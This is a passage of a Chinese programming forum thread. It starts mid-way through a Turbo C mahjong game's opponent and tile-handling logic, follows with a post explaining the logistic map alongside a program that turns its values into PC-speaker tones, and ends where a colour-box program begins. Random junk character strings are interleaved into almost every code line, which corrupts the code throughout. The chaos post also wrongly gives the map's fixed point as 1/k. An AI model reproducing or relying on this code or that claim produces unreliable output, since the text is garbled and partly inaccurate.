0 q8 i% Y& D5 O; R+ Y: w/ OfillRectangle(x1,y1,x1+20,y1+4,0);+ r9 P# N; I7 Y# j; V3 c
}
, \+ w6 B) R1 u( U2 J7 b/ ?if(every==10)  \: M. p& k8 ?* y
{8 y3 O+ S7 U4 M
x1=220;
8 b. R( F; A: @* M7 |y1=165;( ~( O+ W- U( k/ u0 Q1 ]& e2 |  A
fillRectangle(x1,y1,x1+20,y1+4,0);
0 t8 R- S4 r* U* I% v$ J  R  n}
3 {3 d( U" [& N) d3 {1 l7 Zif(every==11)
! g5 [/ N9 q; v{0 A1 H  }4 U, k: F; e% E$ A/ e2 a: V4 h
x1=240;5 {- V4 E! J- k; O% V: P
y1=165;% ~+ \/ G& l& e( l4 X1 C
fillRectangle(x1,y1,x1+20,y1+4,0);6 N1 H6 n: K. x1 E
}7 h/ {0 G) C1 |# Q) t
if(every==12)
) F4 A5 y0 x+ _, Z2 U- v{/ k5 W8 y" i% C4 Y
x1=260;
8 s) l& n" O! g4 K6 h6 D7 Y* e8 ey1=165;4 x9 N) @( |1 f! `% m$ ]) ^: C
fillRectangle(x1,y1,x1+20,y1+4,0);, ^$ O! E, k' L& I
}
+ \4 Z2 v: f& Y- Y( g- U1 b0 i  S* j8 V
zz=0;! k  |" l: z9 D* ^* Q
every++;0 x) ]" z5 {6 _% A- e: U
z=z+20;
+ E* p( b" M1 }% ]2 R6 F}8 A9 l  m/ i8 c, _6 \
showbmp(every);6 K2 S3 t2 ]8 z# ^' D+ h% ]$ k8 _
key=keyy;
6 \$ U: R, u6 n$ P) {if(keyy==ENTER)
" ?) W" e( N$ u  v- ]9 _" h* n{
6 O) y: q& Z- x8 _7 x$ M  s2 `) @- Xrgzn(every); /*********************/
/ O3 @" m5 h1 v8 J- Vif(sing==1) /*如果可以乓,做相应的处理*/3 R. T/ ?) U: y4 S$ n2 G; Y+ r/ [! q
{ 8 G9 G+ w  X4 T( d7 X0 y0 d
kkk=0;  F9 k" J' u* f; s
kkkk=0;
+ _. ]: ~7 i2 ?4 C' a0 j) lwhile(kkk&lt;=computer.m)
$ ^) H) R4 w. J: F; v$ _- `{- h) n" g4 Q6 T: x: K  y7 {
if(computer.pp[kkk].p!=1)
, W  s' c# W5 x% U8 ]# b7 T. Y{
+ U' s# P; S! P# m6 P$ s& acomp.pp[kkkk].k=computer.pp[kkk].k;
* Y3 s3 j3 p& c+ scomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;: J. u/ e* p3 f; m  l6 s
comp.pp[kkkk].number=computer.pp[kkk].number;$ S( w6 }, [' M1 i/ l
kkkk++;3 ^) t9 U  V) X* J# u6 p
}9 L6 H' G9 p- q+ e9 X' ?0 s8 Y
else# o5 }7 l: e. z  _! d# W9 G
{! y+ m; M2 M' B+ I' U7 u
m[computer.pp[kkk].number].data1=1;. O1 c! `8 d7 A$ }/ o* h0 q1 Q) d3 G
dwei=computer.pp[kkk].number;
* K4 K6 ^& C* Z3 d6 P' P: F4 i9 @6 wcomputer.pp[kkk].p=0;; d7 q/ t: l2 r- H" r/ n
}
) a' ~( F+ {( D, ]kkk++;% f7 Z1 g3 B7 x
}" B0 q+ l- O9 y: R& o
ll=0;
' L( ~# c, e7 ?% [, E: ^, `7 a! Z( o8 K: \$ @0 }" D: r
while(ll&lt;3)( |0 v8 G: p; F4 X
{ zl=zl+20;
* t: {- _( Y; A. L( f% Qbmpp(dwei); /*显示乓的牌*/
7 ^7 h9 ]# V2 m* Gll++;
) X/ D2 R9 r3 r5 H9 {% }}
0 g) e  C( q7 Q6 W" T1 S: Q. u
' `" b; D5 f5 l2 Tzl=zl+9600-60;
' |. u/ ?6 h7 {kkk=0;
+ U  `7 N" r6 j/ acomputer.m=computer.m-2;
) c4 g5 i# h; h/ W8 ^* W1 Qwhile(kkk&lt;=computer.m)
: D$ I" Q" d; y0 h0 M; Y8 N" `% Y. |9 F{
  T  }# N" }4 k, O: mcomputer.pp[kkk].k=comp.pp[kkk].k;
! N7 v- C' X3 `$ O( Q2 h: K$ G/ bcomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
7 \! ?6 P+ x& a0 q' f% wcomputer.pp[kkk].number=comp.pp[kkk].number;$ Z% E9 s8 Y6 n
kkk++;
* W  r' i. b# D% c5 t}
1 i" B# {% G8 C" gll=0;
/ u! u" {2 R5 Z0 `. q* z+ x9 |* g* Wtemp=random(computer.m); /*出牌等待完善*/' ]  z$ G3 |, |# a* [& @4 V
zyy=zyy+9280+20;
4 ?- P3 t" \3 y( [showcbmp(temp);
( s; p1 z0 X/ e  v0 pzyy=zyy-9280;4 ?; g0 f' E, F$ O3 n: C" \( F3 b
/*****/
" W$ v# x; Y. M( X6 c7 ^* ?' a8 ~rgznme(temp);
5 b) D1 Q  k$ V" `$ U9 w! i. Apanduan();$ C6 O7 ?2 g$ p  F) H
if(me.m==0)( e0 ~- G/ I; |; n! j' w& i' Z& y
if(second==1 &amp;&amp; threes==0)
- I) K% Y" o# _' Xprintf("you win!");
5 y- Q) Q  E6 h. a9 ]if(me.m==3)
9 T+ `, L/ Q" fif(second==1 &amp;&amp; threes==1)+ r/ r4 w& J" v$ L) O2 U7 Q+ A
printf("you win!");
; X1 d0 d* t( R* Mif(me.m==6)
( Z8 M" t  u) s/ Hif(second==1 &amp;&amp; threes==2)& j5 P, p9 e9 q
printf("you win!");0 B7 I% s, P! s1 [
if(me.m==9)0 e4 X: j1 i# P) g  z* B& l
if(second==1 &amp;&amp; threes==3)
7 K3 q+ O* o1 Z/ [6 S( u7 Z  M) Vprintf("you win!");
$ h5 I* o5 x5 Y9 r2 w9 x9 nif(me.m==12)' ?2 G) Y, S* x* Y( y0 @7 U
if(second==1 &amp;&amp; threes==4)
3 L) k) h  w! M; H( E& D& \printf("you win!");
' z% H9 m1 k) b- D3 F
. k9 v& {5 w5 V  l+ [4 nkkk=0;
8 D- j' x4 S# J/ h# v; V8 ?5 p7 Lkkkk=0;! c& }% z/ M, g
while(kkk&lt;=computer.m)0 N9 F3 D. U: p. m5 [9 h5 |
{
; w; i1 S- f' G% r2 a7 sif(kkk!=temp)
7 \3 @) k! o0 t1 o. A0 \: y{
$ a, ]& B8 k9 K7 j  m  [2 y5 Xcomp.pp[kkkk].k=computer.pp[kkk].k;- O) k1 B' B7 l. K8 p; u/ K
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
  N# R6 t' e" c7 y/ y$ e4 pcomp.pp[kkkk].number=computer.pp[kkk].number;) j. `8 n( _1 z# x: Y" r
kkkk++;
' ~0 D- i7 l- t" y$ D  a. X3 P, m}
2 Z7 s. q0 U  G6 z8 @/ n; xelse% n. x5 v+ U# L# y0 R- j
m[computer.pp[kkk].number].data1=1;; S6 w: x, h" V* K9 ^
kkk++;7 v0 h1 h* j9 \
}
! y  E8 T0 N' r4 H1 c5 }kkk=0;
$ Q! Q2 O1 D3 v. `. Rcomputer.m=computer.m-1;) X! j0 D4 ~  M; C
while(kkk&lt;=computer.m)
. v- G) C# l! Z" P{
$ _" J5 o1 P8 i* w$ a6 _computer.pp[kkk].k=comp.pp[kkk].k;5 W( c' N7 \5 {7 M6 e
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
& g$ W- b2 L9 y; c2 \3 Ccomputer.pp[kkk].number=comp.pp[kkk].number;
) a* l3 f+ i# r( Z4 tkkk++;
5 T+ c' Y0 ~8 o0 y}2 Y1 O$ Y* W' Q: w. E5 v
fillRectangle(0,0,320,30,0);
. w' v* s9 d0 t- jn=computer.m;
6 w" i1 P8 f" Z8 o% }8 ull=0;
+ l( q; i# a: V; z6 ezy=0;, Q" [" m' ?: B; `+ i4 b
while(ll&lt;=n)" n) p9 B. E% _+ t
{- }9 ?; |' B" l# |& k# }0 Z3 w
zy=zy+20;
& P$ w3 D$ s& C* l% G( E! _7 Zshowybmp(ll);, A: |6 A1 `- x# p
ll++;
$ p+ P. J) i: \5 b7 z/ a/ z$ M1 }}
5 b- |  C* U9 I" b+ \) C+ nll=0;& u: b1 Y0 [5 e9 [" H
getch();
9 r+ d: t9 H4 C/ X. jsing=0;5 ~, C6 w' p& X+ S/ Q& p0 |, j
sing1=1;
- j7 n3 z! M0 V! ^$ @! m}
4 q8 U, l# H3 h$ o) G# b  m( a4 w' g$ p: M! Y- F8 H' G3 w3 T
if(sing==2) /*如果可以杠的做相应处理*/
2 p$ Q7 n# E2 }7 G5 }{0 ?/ y9 ~6 _9 {* T
kkk=0;1 {4 ?- [0 ~8 R6 w
kkkk=0;
* g4 S0 v7 c! \& j1 mwhile(kkk&lt;=computer.m)2 G# u) f) x3 {3 Z( p2 m& g' b3 X
{
* ?$ w9 @& }0 r- F. m1 |  J( zif(computer.pp[kkk].g!=1)( X4 R- L  H0 N7 J, I0 `1 E6 p/ Q. v5 }
{
. S6 N9 m* I) b  _2 ]- Hcomp.pp[kkkk].k=computer.pp[kkk].k;3 t, r: j! R; q: {8 o
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
% q( e* U+ {, U# Fcomp.pp[kkkk].number=computer.pp[kkk].number;
% a: j/ F) j' K2 A/ Q1 ekkkk++;
9 n# y) y% _. p, B% G" _- q}* }3 e9 Y6 I$ G
else" y* ~5 c  ?/ f3 A' _
{  y1 u: o9 {! g) n- L
m[computer.pp[kkk].number].data1=1;
% K, b$ g. ~9 j# X  w! [5 ]dweig=computer.pp[kkk].number;. _  F( {6 J$ D+ b( B" I4 A
computer.pp[kkk].g=0;
, [9 D* }- ]& H2 i, @1 M}
, l5 M: |; N" N' Ukkk++;7 h! K/ I( v/ y2 F
}
) Q1 ], t5 x. C$ J5 J9 cll=0;$ a# z, Y2 C: O) A0 K) X2 X
3 q8 A. u1 ~6 k9 Y# S4 g& ~% r+ T8 h
while(ll&lt;=3)# |! p$ x: B8 ^5 j
{ zl=zl+20;
. S3 {3 w3 a$ `: q, Ebmpp(dweig); /*显示杠的牌*/
; t$ l8 w; P1 `1 Q5 g8 rll++;% v3 m7 h: ]2 W; g. @+ N5 d0 ~
}% T& U; [: u( @8 U  L$ r# j4 D
zl=zl+9600-60;
( z6 ~4 `( v& i9 dkkk=0;( M' e% [$ {: n; \8 `, X& c
computer.m=computer.m-3;; i6 |6 V/ ?; G- s/ R
while(kkk&lt;=computer.m)
- t6 ^$ z' ]3 m- X5 w  q9 ^+ P{+ X3 x+ O, Y6 K* i: ]$ ^
computer.pp[kkk].k=comp.pp[kkk].k;
( I6 n9 y$ M) N, d/ ocomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;* G2 ^9 A+ m8 `  D2 c( k' l% O
computer.pp[kkk].number=comp.pp[kkk].number;
6 P6 O$ Z/ R- F# t( mkkk++;
# I. ^4 T2 ?3 U! M}
: J5 A3 D4 ]4 n- [5 q# q. _kk=0;' V8 W0 `* {( l# L/ ^+ E# z8 _) W
computer.m++; /*加一个牌的容量*/- `1 A. ]+ i  P- s
while(kk!=1)
2 K  S$ |9 h7 k4 Z0 h  z8 T. X{
  I7 a* v" A) \temp=random(136); /*出牌*/7 R; [+ X8 i; [3 Z+ K. e
if(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
2 c$ z, Y9 U; i7 A- S) n8 S& ?& B{; P* Y( d/ H. O6 Q: s8 Z
computer.pp[computer.m].k=m[temp].name; /*把136中之一的牌放到电脑的手上*/# E, R) J8 i8 a6 I. e9 U
computer.pp[computer.m].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
+ ^+ G. Y( z: r2 r+ I& W9 Zcomputer.pp[computer.m].number=temp; /*第几张,用来排序*/4 p" P# T# E, y
m[temp].data2=2; /*判断牌是谁的,2为电脑*/7 I! Z& B, r4 q1 }; W; l
kk=1;/ b  O% Y3 u$ B- k; h
}% J4 S6 [8 l' Z* ^' f* i
}2 `" Q. I( {% D/ u# h
comlipai();
; Y/ n" [; V/ T: i6 w, k' ]3 U' ftemp=random(computer.m); /*出牌,等待完善*/
6 ^$ M1 s% f: T2 Vzyy=zyy+9280+20;; H, F% ~6 u1 S- V
showcbmp(temp);
  e2 @2 D% _, W* N7 p" lzyy=zyy-9280;
  x* ?& x, L/ h" a+ u3 w6 [/*****/; S& @8 Q% |$ w  V
rgznme(temp);
6 E2 t0 \" h. \panduan();
% {3 f7 {8 o6 W! Oif(me.m==0)
- @* T: Z1 ~3 `" R2 h0 g3 sif(second==1 &amp;&amp; threes==0)1 l5 x! `1 c6 D& }3 I/ ~* M: b
printf("you win!");
% K; E/ F& J4 vif(me.m==3)
! A, x6 p% }. Iif(second==1 &amp;&amp; threes==1)0 S, {+ d& g9 i2 Z3 o
printf("you win!");
% E4 {& ]# C- L% `& Lif(me.m==6)7 k' _' F; L/ v& b
if(second==1 &amp;&amp; threes==2)) m' Z! Z( C6 B9 u' j7 l# ~
printf("you win!");2 X  m& Q0 i. j
if(me.m==9)
" _0 U5 T% j5 F. H( Yif(second==1 &amp;&amp; threes==3)
" O; M6 R* U1 L' P" U# `9 M# vprintf("you win!");, [  W4 n: L# C1 H: v3 P7 U) O
if(me.m==12)
8 L- l! l; a  sif(second==1 &amp;&amp; threes==4)
) U- U# i7 x4 A6 dprintf("you win!");/ g8 F4 }" `  K$ E- Q+ X, i5 ~
. M" Q0 H, r. n
kkk=0;
8 A2 Q- b0 g: ]4 E* I8 mkkkk=0;
$ t! Q' A5 _- w6 J! `- q# q1 s% D. [while(kkk&lt;=computer.m) /*把未选的牌放到零时变量*/
# u. A6 M' u* l$ x# P, B{
+ y' E# i# A% qif(kkk!=temp)
0 y& g8 w' `+ D# c{
7 r9 C3 _. Q# V3 _( c9 wcomp.pp[kkkk].k=computer.pp[kkk].k;" [: c4 m  ~4 S3 [3 j9 y' T
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
" o9 {; A+ s. n# W1 ucomp.pp[kkkk].number=computer.pp[kkk].number;- }- c$ E: }5 ?$ t( K# n8 ~+ ^2 y5 t% n
kkkk++;
4 @' d7 [# b& ]% y0 b% V3 s}1 z* _2 G5 |7 i  N& ~& T8 ?
else
# q/ }( |8 B( z  h$ Z& p0 zm[computer.pp[kkk].number].data1=1;% i9 \: f( M- e- J6 J
kkk++;
. @$ I# ]1 M9 j7 i}
$ C0 S) W9 B* }" Ekkk=0;" K) S8 r2 j5 E' o6 t
computer.m=computer.m-1; /*把未选到的剩余牌放入电脑手中*/, }& Y1 p! T8 R/ r+ U
while(kkk&lt;=computer.m)
3 u; t1 i0 x# }) n( i( O+ ^{
: b8 e9 [" f) Z, tcomputer.pp[kkk].k=comp.pp[kkk].k;- }  f. ^3 N. [
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;$ r' H/ B' `: w6 V% E* O
computer.pp[kkk].number=comp.pp[kkk].number;% N- [4 n2 [7 E: _+ r# n
kkk++;
. h( |" }$ _2 p+ o5 ~( d}
  h5 Y1 q! ~6 t4 R- v; `2 R1 h4 A# ]fillRectangle(0,0,320,30,0);
4 q2 h( X7 ?1 j3 Y/ l& Ill=0;5 o7 E: k! B1 k" h! G' j; N
zy=0;; y- |6 t+ y6 i
while(ll&lt;=computer.m)
' [) b% f4 S) `5 c{
( Q2 |& Y1 q% o( `& i) u  dzy=zy+20;
$ U( h( {9 t; C! ^2 X( O7 `) {showybmp(ll);0 b( B) ]4 _) X# f
ll++;7 [! H6 [. A2 B' d
}: T9 L; i# e9 K7 W
sing=0;
3 n' r0 s8 A$ a2 K1 c( t9 fsing1=1;
1 J. S4 m. B+ V0 F, Q}
: X: {1 \$ x* Z: C. k7 a0 C* `if(sing==7) /*如果可以吃的,做相应处理*/
4 }% r: r* o% k  e1 a{ nn=0;
. s3 c6 k0 X) J  ikkk=0;; H9 a; @0 u/ ~0 {" e) g% q4 _
kkkk=0;9 T* _' p5 B$ o7 i
while(kkk&lt;=computer.m)3 A  l0 F. t# h
{; `+ X! }) u: {+ _/ q
if(computer.pp[kkk].c!=1)
0 P3 K& H6 @0 |1 |. v{. U8 `  {: l% U( w  l
comp.pp[kkkk].k=computer.pp[kkk].k;
0 H$ |' [1 i. @1 |comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;. e9 ^( p* F, V9 l/ t6 m
comp.pp[kkkk].number=computer.pp[kkk].number;% Q; g! G, `0 W1 \% T
kkkk++;
( z3 `) V+ M% }2 S5 t9 a/ V}
0 {( D/ Z& Y6 K- E' }else
% R1 `0 N" I8 _/ l+ Q8 W% V{
  P! ~  B& G$ ]( Om[computer.pp[kkk].number].data1=1;
0 C# P% U8 a: A' fdw[nn++]=computer.pp[kkk].number;4 v# x: u  T, r! C+ u: |
computer.pp[kkk].c=0;
# [# e5 {. b* ]& K}4 U5 L9 Z' A9 m8 c: h
kkk++;
/ o9 B+ e! R0 l! n2 N! J}
) z# d  }/ n7 Q3 w- y9 L
- |1 s/ Z; Y* ]* rif(me.pp[every].number&lt;dw[0])" M" t; K2 c. u
{
# t1 O" F* X; W2 y6 Zdw[2]=dw[1];
+ h0 |8 I* p! O& X! _. idw[1]=dw[0];
/ A# e3 K. w; W- }- k# rdw[0]=me.pp[every].number;
  e  z% o: g) l: y}
; V) l) S: n7 qif(me.pp[every].number&gt;dw[1])% }( i/ u, W# ~
{( j9 S# y# e: v# ~) N. Z# k
dw[2]=me.pp[every].number;' v& n! R$ @+ F6 U9 n2 y
}9 X+ T; R6 l+ j- y
if(me.pp[every].number&gt;dw[0] &amp;&amp; me.pp[every].number&lt;dw[1])
1 |+ [4 G& w, }0 B2 j' u{4 Y8 t3 u5 D' Q- u7 f! A4 x/ }4 }
dw[2]=dw[1];4 f% o/ G* B3 R* y+ L% p
dw[1]=me.pp[every].number;1 V) [2 Q0 k/ H( i8 W' I
}7 a6 L: `0 Y  t9 S9 L1 w
nn=0;
( ~& x) Z4 N4 twhile(nn&lt;3)- o0 L# h5 |- \1 M- }
{ zl=zl+20;4 s) |0 v; `/ w; X: V
bmpp(dw[nn]); /*显示吃的牌*/
' O4 [# C! @3 a# D/ c. G) Nnn++;3 f; |& L8 n, ~- z0 U. a% R
}
2 g- k% T6 p# s- ~* qzl=zl+9600-60;
6 A5 d1 p; A: ]0 t% O9 ?kkk=0;0 n/ L) J0 y8 O" C! p
computer.m=computer.m-2;: A# e3 n& B+ v% _* i+ _
while(kkk&lt;=computer.m)
! r5 Y( C4 M( @+ Z4 g# C* p{9 i3 ]3 J: }, `+ a
computer.pp[kkk].k=comp.pp[kkk].k;
4 g0 `0 o) Z: m9 F- tcomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
# \; q- Q- |5 l  v2 icomputer.pp[kkk].number=comp.pp[kkk].number;! [9 L  J7 }  O, u- T0 ]% g) O, t
kkk++;
1 c) I5 D  p7 g. ]- l}
4 w9 F; O/ V$ Xll=0;
* I/ y! \" s# H: T* ?9 k9 atemp=random(computer.m); /*出牌等待完善*/
' T% n) G6 U5 F( n) w( Y/ W! H) Uzyy=zyy+9280+20;
0 o0 @- x/ [5 s) l  u2 k' h% e  ushowcbmp(temp);
1 |1 U1 d3 R! R1 h, a# c( \zyy=zyy-9280;
, [" M+ E8 t' Z# `/*****/
% U+ R% {. W/ z' C- f5 lrgznme(temp);
$ b% i% a+ Q+ U6 Npanduan();
! D3 \7 v2 ?- k3 R! }  \! n5 iif(me.m==0)
, [0 R" ?9 z/ [6 ?" v$ A' }if(second==1 &amp;&amp; threes==0); P3 ~2 {  y" l$ `
printf("you win!");
) o8 l' j2 ^/ z1 M$ Sif(me.m==3). m8 k9 N5 _6 F  T$ I
if(second==1 &amp;&amp; threes==1)
" X% ]6 [8 h2 j6 a" ^2 rprintf("you win!");
9 M- K! P3 m1 E. v8 [& `& i4 wif(me.m==6)# ~- C2 {; y$ C: i+ A* L
if(second==1 &amp;&amp; threes==2). c: Q. d1 c2 }& w7 y8 t0 p
printf("you win!");: r; |" R; S" {: }. }" }8 y/ w
if(me.m==9)
$ G# o: c2 b5 a. Jif(second==1 &amp;&amp; threes==3)
; _6 [# x+ w! Cprintf("you win!");
7 I/ M) ~& X1 |; B4 x: Pif(me.m==12)) Q6 j$ h0 w' l
if(second==1 &amp;&amp; threes==4)
" y: W9 P9 I! Z- mprintf("you win!");
: }% @8 G- j% u$ a4 C3 h- t
$ R$ D8 o( ~& `* K. @kkk=0;3 `/ j# [+ N& _2 t3 {9 s6 w
kkkk=0;- Y* R$ \5 U9 o# N, r
while(kkk&lt;=computer.m)% L0 z, e" V5 q$ r7 p* j9 {' I! r
{
: x$ z7 a- B! l) C4 D$ \5 Qif(kkk!=temp)
7 N. e2 O. m3 K; h{
& J2 R8 i1 V2 \3 p' S/ Y. E( ccomp.pp[kkkk].k=computer.pp[kkk].k;( i! i2 |' X+ K" j4 ?
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
5 {' B' ?1 z1 A* E+ b4 |comp.pp[kkkk].number=computer.pp[kkk].number;
. n. V4 u6 O& [; s6 m$ Dkkkk++;
" l. x* |+ n# {" y3 h1 I+ {}) n3 [; m' x% O/ k% Y9 {4 B
else
1 _7 {( m. p) z# w* Z# X4 Om[computer.pp[kkk].number].data1=1;
" r7 c: P2 b# k& w$ skkk++;/ Q! f, c7 E0 i2 X5 q: |, V$ q: {; X
}; w2 G% ?5 @2 H
kkk=0;( O2 m$ N8 h! Y
computer.m=computer.m-1;3 y3 B* y( \& ?
while(kkk&lt;=computer.m) , A/ I2 g. m. \3 Z6 ]! L4 t4 T
{( w) d1 n) P3 [' f1 H" ^
computer.pp[kkk].k=comp.pp[kkk].k;
% f4 K# B; X8 u1 fcomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
0 ]5 D+ ], Y/ D) X) p  o; [; rcomputer.pp[kkk].number=comp.pp[kkk].number;, _: E. `: ^% ?! A+ a0 E0 `, ?) [
kkk++;& Y3 N1 w# v5 R  Z- l% V( ?; m4 N
}
1 j* C- y( Y& W5 R5 v+ `' x2 K! a$ `fillRectangle(0,0,320,30,0);$ N$ ^: N- d' n: f3 r$ P
n=computer.m;9 L2 c- Z5 M8 @9 J7 @; C. A
ll=0;- I7 c0 M3 y- \) \! B
zy=0;
8 C" ^  d. h9 F# J5 W- u' U; Mwhile(ll&lt;=n)
3 w8 \! c: W2 L( Q. B, [* n' ?{
; L( H' r  L4 y: e$ n1 Ozy=zy+20;6 \% Y% @0 N$ H, g+ f: y
showybmp(ll);, l% s& A$ J3 K- H3 v* q
ll++;
$ O% c" e! l  n6 F! p. K$ i}
7 ~% {* S7 P; }9 k) ~' a1 A. R
7 y: l5 Z1 g( n2 U8 Q; C3 U, pgetch();6 i" p$ M3 x/ x) {: G
sing=0;
" b1 _9 K. c4 Jsing1=1;
! `* u7 I# f" _; a}
# ^1 v: ~- @% Dif(sing==0) /*如果没有可以乓或杠的就标明牌无用*/
, }( R3 [' L/ x" r6 z! F{
1 t8 o( j! _2 s% E( Ckk=0;8 k) n/ K+ U6 V% q& k3 L" f
h=me.pp[every].number;
! d& c' t! q- e1 {9 q, Hm[h].data1=1; /*此牌已经无用*/
, x( {; w& m& ]/ b& X8 ^if(sing1!=1)) S7 m# W$ r: I
{
+ l! I: Z) G2 N7 N* w0 w$ Jzyy=zyy+9280+20;
6 D1 Z# Q: A* i0 u' gshowbmpd(every);
' L9 i' |& X' \" lzyy=zyy-9280;% q; v0 y  O7 W; |
}
3 Q( R( p+ q. x3 g0 \while(kk!=1)/ M9 a* {$ N9 Z$ e
{9 g% c2 m. P7 }2 K; [( c
temp=random(136);
' N3 k7 [3 V) F, Sif(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
7 m1 }5 H$ d0 b- C{, P% u6 I9 o8 W, f
me.pp[every].k=m[temp].name; /*把136中之一的牌放到我的手上*/$ ~4 [6 x' w1 K9 ]8 u/ n0 c
me.pp[every].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/* C, S8 Y3 `# g9 D/ @7 e
me.pp[every].number=temp; /*第几张,用来排序*/7 S; c/ M  ~2 Z$ _; o  @
m[temp].data2=1; /*判断牌是谁的*/' B8 M# N/ T. }/ ^5 h
kk=1;+ Y- b0 f  U. P/ s2 p
}# X& P, l, j0 P. V9 J# C1 B! Z$ U
if(kk==0) /*判断如果又选择了,就从新再选*/' V! [6 z  U& F+ U/ |5 r* k
kk=0;  y1 L0 D: d9 t% P% c2 u1 g
}$ Q; A% b3 a4 y
}
9 c* m! S  H! l* b0 ssing=0;; z6 g! w( H! U' I4 v" j0 v, z
sing1=0;
- ]$ j2 s% ^$ N3 J- l! W7 Fmelipai();0 G  I1 N2 F: |
n=13;* f8 s. W3 e, b4 P- H
z1=54400;
5 X- K9 y# D, c9 O4 }l=0;
5 n9 I. a  l% ?% Eg=z;% O) p" `1 c$ i
while(l&lt;n)
2 |4 C4 O, Y! ?' R. S; b{ z=0;
+ _. L, Y. ]7 Z: f1 {/ a  d/ v: Jz1=z1+20;
  _5 M! K, c: W% a% d. R0 Nshowbmp(l);
0 R' @: Y7 p- X9 d3 al++;! V% X. A$ J3 _0 i. O0 U
}
/ N) A) A( c- \% k4 s( P- s  |* M: ?- rz1=0;
: n. G$ U/ i1 i1 B3 F- Wz=g;
; \& q9 N. o3 E: U) l7 i}
1 Q2 X+ E8 k/ b* B$ rkeyy=0;
/ o$ Q3 T( w. j- b, ]' E}
6 \: {+ G& R2 e! V* F
9 O/ M6 ^* l0 K7 n, m- {) xgetch();) G* E/ h1 B# h& \* }
OUTVGA;) u/ m- p# n, V% Q
}
# X5 f! D- f/ O( j8 Q6 b, a( B4 f</P></DIV>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<DIV align=center><FONT size=3><B><FONT color=#cc0000>聆听混沌的声音</FONT></B></FONT></DIV><DIV align=center><b><FONT color=#cc0000 size=3></FONT></b> </DIV><DIV align=center><>  本世纪70年代初,美国普林斯顿大学的生态学家R·May在研究昆虫群体繁殖规律时提出一个著名的模型: χ[n+1]=k*χ[n]*(1-χ[n])
  S. m$ u# u# h( S</P><>  其中χ[n]表示第n代群体的数目。当给定一个初始的χ[0]值,然后不停地迭代,人们发现随着k值的不同,得到的序列χn 有许多有趣的现象。当k值介于0与1之间时,χ[n]经过一定次数的迭代后都趋于0。当k值介于1和3之间时趋于1/k,当k值大于3时,经过一定次数的迭代后χ[n]在2个值之间交替变化,k值增加到3.449附近时,交替变化值又变为4个。继续增加k值,χ[n]交替变化的值的个数依4→8→16→32的次序迅速加倍,终于一片混沌。但当k值在3.835附近时,经过一定次数的迭代后,χ[n]非常简单地在3个值之间交替变化,接着又迅速依3→6→12的次序迅速增长。如此反复,在简单的方程中隐藏着令人惊奇的复杂性。χ[n]随k的变化情况如下图所示:
. a  C& M" \. q; F% A% Q( a1 V  g$ n, V5 z
  为了体现这种复杂之中的无穷奥妙,下面这个用TC2.0编写的小程序用χ[n]大小来控制PC喇叭的发音频率,设定不同的k值,我们就可以聆听到混沌的声音。
2 @+ `* m7 k9 o  m# _  <FONT color=#009900>#include <DOS.H>) i9 |2 j! }# j% |7 S
  #include <STDIO.H>
6 ~! G# v$ I( }" U( k7 t6 n0 Q  main(){( `. f6 a" E* R' [6 [
  int fMin=20,fMax=16000; /*fMin代表最低频率,fMax代表最高频率*// _9 j7 R. y- Y. O- l. u6 r9 O4 r
  int fDis,i,j; /*fDis代表最高频率和最低频率之间的差值*/% _/ _2 H: N/ T4 ?5 a6 h
  /*i,j用于循环记数*/+ q0 m" p1 I/ |  z  l
  float x=0.1,k; /*x代表x[n]的大小,设定其初始值为0.1,即x[0]=0.1*/, M# P) x9 l) e, x7 o
  fDis=fMax-fMin;' t/ G: ~) j: [8 \" ^9 S3 m
  for(j=1;;j++){
0 A  [: _+ B% B! R' Q1 T" |: l  printf("lease input The value of k(1-4.0)\n"); /*输入k值*/
- h/ p: Z+ T9 B  o- f1 L: [  printf("If you want to quit,Please input:0\n"); /*如果k=0退出*/
9 a% T9 N$ B4 D$ T3 b! S+ r* v/ x  scanf("%f",&k);" \+ N* t: e$ `# Z+ L
  if (k==0) break;
* ?3 x+ S+ C2 m  for(i=1;i&lt;100;i++) /*去除开始的100个点*/  ?# g. h- v% ~+ G& \
  x=k*x*(1-x);" d0 `2 o; X7 S0 e6 T# L+ E
  for (i=1;i&lt;100;i++){
9 b0 f! E% l' {! O" U, q6 X  x=k*x*(1-x); /*计算x的值*/
3 V' U2 l5 A  J/ W5 u  sound(x*fDis+20); /*用x的值控制PC喇叭的发音频率*/
! a. A, p$ d/ g6 ]! U  [1 K  delay(1000); }4 O/ h; n# N  ]
  nosound(); }}
( O7 q6 Y3 n- @  </FONT>执行上面的小程序时,k值就相当于一个“调音旋钮”。当将k值设定在1与3之间时,喇叭里传出的只有一个音调,重复又烦人。当k值稍稍大于3时,便开始有了韵律:so-mi-so-mi…。k值增加到3.449时,变成了so-fa-la-mi-so-fa-la-mi…,再增加k值,韵律更加复杂,终于成了现代抽象派作曲家的音乐作品。但是韵律并不是随着k值的增加无限地复杂下去。在k值增加到3.835时,音调又变成了mi-so-ti-mi-so-ti…,再增加k值又迅速地变得更加复杂。* {) b* K4 U7 O; ?: W/ d/ V$ a
不停地改变k值,仔细聆听,会听到混沌中的无限奥妙。</P></DIV>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<DIV align=center><FONT size=3><B><FONT color=#cc0000>设计彩色框的C源程序</FONT></B></FONT></DIV><>
! T, o# g, v  x3 l7 r" f<FONT color=#009900>/*
, ?! Z' S9 ~, h8 \, E  Y*
( z, ~5 k  h, D! w* Short driver module
+ _( a9 w% V8 A5 y$ O*
